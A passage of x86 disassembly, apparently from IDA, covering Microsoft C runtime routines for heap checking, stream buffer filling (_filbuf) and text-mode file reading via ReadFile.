loc_423887: ; CODE XREF: sub_423770+140j
mov edx, [ebp+var_14C]
add edx, 1
mov [ebp+var_14C], edx
loc_423896: ; CODE XREF: sub_423770+115j
cmp [ebp+var_14C], 40h
jge short loc_4238B2
mov eax, [ebp+var_14C]
mov [ebp+eax*4+var_118], 0
jmp short loc_423887
; ---------------------------------------------------------------------------
loc_4238B2: ; CODE XREF: sub_423770+12Dj
cmp [ebp+var_4], 0
jl loc_423CED
push 8000h
mov ecx, [ebp+var_128]
push ecx
call near ptr 3D0000h
pushf
test eax, eax
jz short loc_4238DC
mov eax, 0FFFFFFFCh
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_4238DC: ; CODE XREF: sub_423770+160j
mov edx, [ebp+var_128]
mov [ebp+var_8], edx
mov [ebp+var_140], 0
jmp short loc_423900
; ---------------------------------------------------------------------------
loc_4238F1: ; CODE XREF: sub_423770+30Fj
mov eax, [ebp+var_140]
add eax, 1
mov [ebp+var_140], eax
loc_423900: ; CODE XREF: sub_423770+17Fj
cmp [ebp+var_140], 8
jge loc_423A84
mov ecx, [ebp+var_8]
add ecx, 0Ch
mov [ebp+var_130], ecx
mov edx, [ebp+var_130]
add edx, 0FF0h
mov [ebp+var_138], edx
mov eax, [ebp+var_130]
cmp dword ptr [eax-4], 0FFFFFFFFh
jnz short loc_423942
mov ecx, [ebp+var_138]
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_42394C
loc_423942: ; CODE XREF: sub_423770+1C5j
mov eax, 0FFFFFFFBh
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_42394C: ; CODE XREF: sub_423770+1D0j
; sub_423770+2E6j
mov edx, [ebp+var_130]
mov eax, [edx]
mov [ebp+var_148], eax
mov ecx, [ebp+var_148]
mov [ebp+var_154], ecx
mov edx, [ebp+var_154]
and edx, 1
test edx, edx
jz short loc_4239A9
mov eax, [ebp+var_148]
sub eax, 1
mov [ebp+var_148], eax
cmp [ebp+var_148], 400h
jle short loc_423998
mov eax, 0FFFFFFFAh
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_423998: ; CODE XREF: sub_423770+21Cj
mov ecx, [ebp+var_12C]
add ecx, 1
mov [ebp+var_12C], ecx
jmp short loc_4239EB
; ---------------------------------------------------------------------------
loc_4239A9: ; CODE XREF: sub_423770+201j
mov edx, [ebp+var_148]
sar edx, 4
sub edx, 1
mov [ebp+var_14C], edx
cmp [ebp+var_14C], 3Fh
jle short loc_4239CE
mov [ebp+var_14C], 3Fh
loc_4239CE: ; CODE XREF: sub_423770+252j
mov eax, [ebp+var_14C]
mov ecx, [ebp+eax*4+var_118]
add ecx, 1
mov edx, [ebp+var_14C]
mov [ebp+edx*4+var_118], ecx
loc_4239EB: ; CODE XREF: sub_423770+237j
cmp [ebp+var_148], 10h
jl short loc_423A0D
mov eax, [ebp+var_148]
and eax, 0Fh
test eax, eax
jnz short loc_423A0D
cmp [ebp+var_148], 0FF0h
jle short loc_423A17
loc_423A0D: ; CODE XREF: sub_423770+282j
; sub_423770+28Fj
mov eax, 0FFFFFFF9h
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_423A17: ; CODE XREF: sub_423770+29Bj
mov ecx, [ebp+var_130]
add ecx, [ebp+var_148]
mov edx, [ecx-4]
cmp edx, [ebp+var_154]
jz short loc_423A38
mov eax, 0FFFFFFF8h
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_423A38: ; CODE XREF: sub_423770+2BCj
mov eax, [ebp+var_130]
add eax, [ebp+var_148]
mov [ebp+var_130], eax
mov ecx, [ebp+var_130]
cmp ecx, [ebp+var_138]
jb loc_42394C
mov edx, [ebp+var_130]
cmp edx, [ebp+var_138]
jz short loc_423A74
mov eax, 0FFFFFFF8h
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_423A74: ; CODE XREF: sub_423770+2F8j
mov eax, [ebp+var_8]
add eax, 1000h
mov [ebp+var_8], eax
jmp loc_4238F1
; ---------------------------------------------------------------------------
loc_423A84: ; CODE XREF: sub_423770+197j
mov ecx, [ebp+var_18]
mov edx, [ecx]
cmp edx, [ebp+var_12C]
jz short loc_423A9B
mov eax, 0FFFFFFF7h
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_423A9B: ; CODE XREF: sub_423770+31Fj
mov eax, [ebp+var_18]
mov [ebp+var_134], eax
mov [ebp+var_14], 0
jmp short loc_423AB6
; ---------------------------------------------------------------------------
loc_423AAD: ; CODE XREF: sub_423770+578j
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
loc_423AB6: ; CODE XREF: sub_423770+33Bj
cmp [ebp+var_14], 40h
jge loc_423CED
mov [ebp+var_168], 0
mov edx, [ebp+var_134]
mov [ebp+var_130], edx
loc_423AD6: ; CODE XREF: sub_423770+4A5j
mov eax, [ebp+var_130]
mov ecx, [eax+4]
mov [ebp+var_15C], ecx
mov edx, [ebp+var_15C]
cmp edx, [ebp+var_134]
jz loc_423C1A
mov eax, [ebp+var_14]
mov ecx, [ebp+var_168]
cmp ecx, [ebp+eax*4+var_118]
jz loc_423C1A
mov edx, [ebp+var_15C]
cmp edx, [ebp+var_128]
jb short loc_423B2E
mov eax, [ebp+var_128]
add eax, 8000h
cmp [ebp+var_15C], eax
jb short loc_423B38
loc_423B2E: ; CODE XREF: sub_423770+3A9j
mov eax, 0FFFFFFF6h
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_423B38: ; CODE XREF: sub_423770+3BCj
mov ecx, [ebp+var_15C]
and ecx, 0FFFFF000h
mov [ebp+var_164], ecx
mov edx, [ebp+var_164]
add edx, 0Ch
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
add eax, 0FF0h
mov [ebp+var_124], eax
loc_423B64: ; CODE XREF: sub_423770+41Cj
mov ecx, [ebp+var_10]
cmp ecx, [ebp+var_124]
jz short loc_423B8E
mov edx, [ebp+var_10]
cmp edx, [ebp+var_15C]
jnz short loc_423B7C
jmp short loc_423B8E
; ---------------------------------------------------------------------------
loc_423B7C: ; CODE XREF: sub_423770+408j
mov eax, [ebp+var_10]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
mov edx, [ebp+var_10]
add edx, ecx
mov [ebp+var_10], edx
jmp short loc_423B64
; ---------------------------------------------------------------------------
loc_423B8E: ; CODE XREF: sub_423770+3FDj
; sub_423770+40Aj
mov eax, [ebp+var_10]
cmp eax, [ebp+var_124]
jnz short loc_423BA3
mov eax, 0FFFFFFF5h
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_423BA3: ; CODE XREF: sub_423770+427j
mov ecx, [ebp+var_15C]
mov edx, [ecx]
sar edx, 4
sub edx, 1
mov [ebp+var_14C], edx
cmp [ebp+var_14C], 3Fh
jle short loc_423BCA
mov [ebp+var_14C], 3Fh
loc_423BCA: ; CODE XREF: sub_423770+44Ej
mov eax, [ebp+var_14C]
cmp eax, [ebp+var_14]
jz short loc_423BDF
mov eax, 0FFFFFFF4h
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_423BDF: ; CODE XREF: sub_423770+463j
mov ecx, [ebp+var_15C]
mov edx, [ecx+8]
cmp edx, [ebp+var_130]
jz short loc_423BFA
mov eax, 0FFFFFFF3h
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_423BFA: ; CODE XREF: sub_423770+47Ej
mov eax, [ebp+var_15C]
mov [ebp+var_130], eax
mov ecx, [ebp+var_168]
add ecx, 1
mov [ebp+var_168], ecx
jmp loc_423AD6
; ---------------------------------------------------------------------------
loc_423C1A: ; CODE XREF: sub_423770+381j
; sub_423770+397j
cmp [ebp+var_168], 0
jz short loc_423C91
cmp [ebp+var_14], 20h
jge short loc_423C5B
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_11C]
or eax, edx
mov [ebp+var_11C], eax
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_144]
or eax, edx
mov [ebp+var_144], eax
jmp short loc_423C91
; ---------------------------------------------------------------------------
loc_423C5B: ; CODE XREF: sub_423770+4B7j
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_150]
or eax, edx
mov [ebp+var_150], eax
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_158]
or eax, edx
mov [ebp+var_158], eax
loc_423C91: ; CODE XREF: sub_423770+4B1j
; sub_423770+4E9j
mov ecx, [ebp+var_130]
mov edx, [ecx+4]
cmp edx, [ebp+var_134]
jnz short loc_423CB4
mov eax, [ebp+var_14]
mov ecx, [ebp+var_168]
cmp ecx, [ebp+eax*4+var_118]
jz short loc_423CBE
loc_423CB4: ; CODE XREF: sub_423770+530j
mov eax, 0FFFFFFF2h
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_423CBE: ; CODE XREF: sub_423770+542j
mov edx, [ebp+var_134]
mov eax, [edx+8]
cmp eax, [ebp+var_130]
jz short loc_423CD9
mov eax, 0FFFFFFF1h
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_423CD9: ; CODE XREF: sub_423770+55Dj
mov ecx, [ebp+var_134]
add ecx, 8
mov [ebp+var_134], ecx
jmp loc_423AAD
; ---------------------------------------------------------------------------
loc_423CED: ; CODE XREF: sub_423770+146j
; sub_423770+34Aj
mov edx, [ebp+var_C]
mov eax, [ebp+var_160]
mov ecx, [ebp+var_11C]
cmp ecx, [eax+edx*4+44h]
jnz short loc_423D1A
mov edx, [ebp+var_C]
mov eax, [ebp+var_160]
mov ecx, [ebp+var_150]
cmp ecx, [eax+edx*4+0C4h]
jz short loc_423D21
loc_423D1A: ; CODE XREF: sub_423770+590j
mov eax, 0FFFFFFF0h
jmp short loc_423D89
; ---------------------------------------------------------------------------
loc_423D21: ; CODE XREF: sub_423770+5A8j
mov edx, [ebp+var_128]
add edx, 8000h
mov [ebp+var_128], edx
mov eax, [ebp+var_18]
add eax, 204h
mov [ebp+var_18], eax
mov ecx, [ebp+var_4]
shl ecx, 1
mov [ebp+var_4], ecx
jmp loc_42384A
; ---------------------------------------------------------------------------
loc_423D4B: ; CODE XREF: sub_423770+E7j
mov edx, [ebp+var_13C]
mov eax, [ebp+var_144]
cmp eax, [edx]
jnz short loc_423D6C
mov ecx, [ebp+var_13C]
mov edx, [ebp+var_158]
cmp edx, [ecx+4]
jz short loc_423D73
loc_423D6C: ; CODE XREF: sub_423770+5E9j
mov eax, 0FFFFFFEFh
jmp short loc_423D89
; ---------------------------------------------------------------------------
loc_423D73: ; CODE XREF: sub_423770+5FAj
mov eax, [ebp+var_13C]
add eax, 14h
mov [ebp+var_13C], eax
jmp loc_4237B3
; ---------------------------------------------------------------------------
loc_423D87: ; CODE XREF: sub_423770+5Ej
xor eax, eax
loc_423D89: ; CODE XREF: sub_423770+26j
; sub_423770+8Ej ...
mov esp, ebp
pop ebp
retn
sub_423770 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423D90 proc near ; CODE XREF: sub_41CB60+66p
; sub_41D460+19p ...
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = byte ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 1
cmp eax, 100h
ja short loc_423DBA
mov ecx, [ebp+arg_0]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, [ebp+arg_4]
jmp loc_423E43
; ---------------------------------------------------------------------------
loc_423DBA: ; CODE XREF: sub_423D90+11j
mov ecx, [ebp+arg_0]
sar ecx, 8
and ecx, 0FFh
and ecx, 0FFh
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_423E03
mov ecx, [ebp+arg_0]
sar ecx, 8
and ecx, 0FFh
mov [ebp+var_C], cl
mov dl, byte ptr [ebp+arg_0]
mov [ebp+var_B], dl
mov [ebp+var_A], 0
mov [ebp+var_8], 2
jmp short loc_423E14
; ---------------------------------------------------------------------------
loc_423E03: ; CODE XREF: sub_423D90+4Fj
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_C], al
mov [ebp+var_B], 0
mov [ebp+var_8], 1
loc_423E14: ; CODE XREF: sub_423D90+71j
push 1
push 0
push 0
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
push edx
lea eax, [ebp+var_C]
push eax
push 1
call loc_42E040
add esp, 1Ch
test eax, eax
jnz short loc_423E38
xor eax, eax
jmp short loc_423E43
; ---------------------------------------------------------------------------
loc_423E38: ; CODE XREF: sub_423D90+A2j
mov eax, [ebp+var_4]
and eax, 0FFFFh
and eax, [ebp+arg_4]
loc_423E43: ; CODE XREF: sub_423D90+25j
; sub_423D90+A6j
mov esp, ebp
pop ebp
retn
sub_423D90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423E50 proc near ; CODE XREF: sub_41CE10+182p
; sub_41DEE0+D7p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_423E59: ; CODE XREF: sub_423E50+31j
cmp [ebp+arg_0], 0
jnz short loc_423E7D
push offset dword_4394FC
push 0
push 69h
push offset a_filbuf_c ; "_filbuf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_423E7D
int 3 ; Trap to Debugger
loc_423E7D: ; CODE XREF: sub_423E50+Dj
; sub_423E50+2Aj
xor eax, eax
test eax, eax
jnz short loc_423E59
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_423EA5
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 40h
test edx, edx
jz short loc_423EAD
loc_423EA5: ; CODE XREF: sub_423E50+46j
or eax, 0FFFFFFFFh
jmp loc_42402D
; ---------------------------------------------------------------------------
loc_423EAD: ; CODE XREF: sub_423E50+53j
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 2
test ecx, ecx
jz short loc_423ED0
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 20h
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
or eax, 0FFFFFFFFh
jmp loc_42402D
; ---------------------------------------------------------------------------
loc_423ED0: ; CODE XREF: sub_423E50+68j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 10Ch
test eax, eax
jnz short loc_423EFB
mov ecx, [ebp+var_4]
push ecx
call sub_42E200
add esp, 4
jmp short loc_423F06
; ---------------------------------------------------------------------------
loc_423EFB: ; CODE XREF: sub_423E50+9Bj
mov edx, [ebp+var_4]
mov eax, [ebp+var_4]
mov ecx, [eax+8]
mov [edx], ecx
loc_423F06: ; CODE XREF: sub_423E50+A9j
mov edx, [ebp+var_4]
mov eax, [edx+18h]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
call sub_424040
add esp, 0Ch
mov edx, [ebp+var_4]
mov [edx+4], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0
jz short loc_423F3B
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0FFFFFFFFh
jnz short loc_423F6B
loc_423F3B: ; CODE XREF: sub_423E50+E0j
mov edx, [ebp+var_4]
mov eax, [edx+4]
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, eax
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
or eax, 0FFFFFFFFh
jmp loc_42402D
; ---------------------------------------------------------------------------
loc_423F6B: ; CODE XREF: sub_423E50+E9j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 82h
test eax, eax
jnz short loc_423FD1
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+10h], 0FFFFFFFFh
jz short loc_423FA6
mov edx, [ebp+var_4]
mov eax, [edx+10h]
sar eax, 5
mov ecx, [ebp+var_4]
mov edx, [ecx+10h]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[eax*4]
add eax, edx
mov [ebp+var_8], eax
jmp short loc_423FAD
; ---------------------------------------------------------------------------
loc_423FA6: ; CODE XREF: sub_423E50+131j
mov [ebp+var_8], offset dword_4502B8
loc_423FAD: ; CODE XREF: sub_423E50+154j
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx+4]
and edx, 82h
cmp edx, 82h
jnz short loc_423FD1
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
or ch, 20h
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
loc_423FD1: ; CODE XREF: sub_423E50+128j
; sub_423E50+170j
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 200h
jnz short loc_424004
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 8
test edx, edx
jz short loc_424004
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 400h
test ecx, ecx
jnz short loc_424004
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 1000h
loc_424004: ; CODE XREF: sub_423E50+18Bj
; sub_423E50+198j ...
mov eax, [ebp+var_4]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+var_4]
mov [edx+4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
movsx eax, byte ptr [ecx]
and eax, 0FFh
mov edx, [ebp+var_4]
mov ecx, [edx]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx], ecx
loc_42402D: ; CODE XREF: sub_423E50+58j
; sub_423E50+7Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423E50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424040 proc near ; CODE XREF: sub_41CE10+118p
; sub_423E50+CBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4EEE20
jnb short loc_424071
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42408C
loc_424071: ; CODE XREF: sub_424040+Dj
call sub_4267E0
mov dword ptr [eax], 9
call sub_4267F0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_4240BE
; ---------------------------------------------------------------------------
loc_42408C: ; CODE XREF: sub_424040+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_42DB90
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4240D0
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_42DC20
add esp, 4
mov eax, [ebp+var_4]
loc_4240BE: ; CODE XREF: sub_424040+4Aj
mov esp, ebp
pop ebp
retn
sub_424040 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4240D0 proc near ; CODE XREF: sub_424040+64p
; sub_42E310+42Fp
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_18], 0
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
cmp [ebp+arg_8], 0
jz short loc_42410B
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 2
test ecx, ecx
jz short loc_424112
loc_42410B: ; CODE XREF: sub_4240D0+17j
xor eax, eax
jmp loc_424511
; ---------------------------------------------------------------------------
loc_424112: ; CODE XREF: sub_4240D0+39j
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4EED20[edx*4]
movsx edx, byte ptr [ecx+eax+4]
and edx, 48h
test edx, edx
jz short loc_4241A9
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
movsx eax, byte ptr [edx+ecx+5]
cmp eax, 0Ah
jz short loc_4241A9
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
mov ecx, [ebp+var_14]
mov dl, [eax+edx+5]
mov [ecx], dl
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
mov ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
mov byte ptr [edx+ecx+5], 0Ah
loc_4241A9: ; CODE XREF: sub_4240D0+62j
; sub_4240D0+82j
push 0
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
mov eax, [edx+ecx]
push eax
call ds:dword_4F1374 ; ReadFile
test eax, eax
jnz short loc_424228
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov [ebp+var_8], eax
cmp [ebp+var_8], 5
jnz short loc_424207
call sub_4267E0
mov dword ptr [eax], 9
call sub_4267F0
mov ecx, [ebp+var_8]
mov [eax], ecx
or eax, 0FFFFFFFFh
jmp loc_424511
; ---------------------------------------------------------------------------
loc_424207: ; CODE XREF: sub_4240D0+118j
cmp [ebp+var_8], 6Dh
jnz short loc_424214
xor eax, eax
jmp loc_424511
; ---------------------------------------------------------------------------
loc_424214: ; CODE XREF: sub_4240D0+13Bj
mov edx, [ebp+var_8]
push edx
call sub_426740
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_424511
; ---------------------------------------------------------------------------
loc_424228: ; CODE XREF: sub_4240D0+109j
mov eax, [ebp+var_18]
add eax, [ebp+var_10]
mov [ebp+var_18], eax
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 80h
test ecx, ecx
jz loc_42450E
cmp [ebp+var_10], 0
jz short loc_4242A4
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx]
cmp eax, 0Ah
jnz short loc_4242A4
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
mov cl, [eax+edx+4]
or cl, 4
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov edx, ds:dword_4EED20[edx*4]
mov [edx+eax+4], cl
jmp short loc_4242DA
; ---------------------------------------------------------------------------
loc_4242A4: ; CODE XREF: sub_4240D0+18Ej
; sub_4240D0+199j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
mov al, [edx+ecx+4]
and al, 0FBh
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov ecx, ds:dword_4EED20[ecx*4]
mov [ecx+edx+4], al
loc_4242DA: ; CODE XREF: sub_4240D0+1D2j
mov edx, [ebp+arg_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
loc_4242E6: ; CODE XREF: sub_4240D0:loc_424500j
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_18]
cmp [ebp+var_4], ecx
jnb loc_424505
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 1Ah
jnz short loc_42435E
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 40h
test ecx, ecx
jnz short loc_424359
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4EED20[edx*4]
mov dl, [ecx+eax+4]
or dl, 2
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov eax, ds:dword_4EED20[eax*4]
mov [eax+ecx+4], dl
loc_424359: ; CODE XREF: sub_4240D0+250j
jmp loc_424505
; ---------------------------------------------------------------------------
loc_42435E: ; CODE XREF: sub_4240D0+22Ej
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Dh
jz short loc_42438A
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp loc_424500
; ---------------------------------------------------------------------------
loc_42438A: ; CODE XREF: sub_4240D0+297j
mov edx, [ebp+var_18]
mov eax, [ebp+arg_4]
lea ecx, [eax+edx-1]
cmp [ebp+var_4], ecx
jnb short loc_4243E0
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx+1]
cmp eax, 0Ah
jnz short loc_4243BF
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
mov byte ptr [edx], 0Ah
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_4243DB
; ---------------------------------------------------------------------------
loc_4243BF: ; CODE XREF: sub_4240D0+2D3j
mov ecx, [ebp+var_C]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_4243DB: ; CODE XREF: sub_4240D0+2EDj
jmp loc_424500
; ---------------------------------------------------------------------------
loc_4243E0: ; CODE XREF: sub_4240D0+2C7j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov [ebp+var_8], 0
push 0
lea ecx, [ebp+var_10]
push ecx
push 1
lea edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
mov eax, [edx+ecx]
push eax
call ds:dword_4F1374 ; ReadFile
test eax, eax
jnz short loc_424429
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov [ebp+var_8], eax
loc_424429: ; CODE XREF: sub_4240D0+34Ej
cmp [ebp+var_8], 0
jnz short loc_424435
cmp [ebp+var_10], 0
jnz short loc_424449
loc_424435: ; CODE XREF: sub_4240D0+35Dj
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
jmp loc_424500
; ---------------------------------------------------------------------------
loc_424449: ; CODE XREF: sub_4240D0+363j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 48h
test eax, eax
jz short loc_4244B3
movsx ecx, [ebp+var_1C]
cmp ecx, 0Ah
jnz short loc_424485
mov edx, [ebp+var_C]
mov byte ptr [edx], 0Ah
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_4244B1
; ---------------------------------------------------------------------------
loc_424485: ; CODE XREF: sub_4240D0+3A2j
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
mov al, [ebp+var_1C]
mov [edx+ecx+5], al
loc_4244B1: ; CODE XREF: sub_4240D0+3B3j
jmp short loc_424500
; ---------------------------------------------------------------------------
loc_4244B3: ; CODE XREF: sub_4240D0+399j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+arg_4]
jnz short loc_4244D5
movsx edx, [ebp+var_1C]
cmp edx, 0Ah
jnz short loc_4244D5
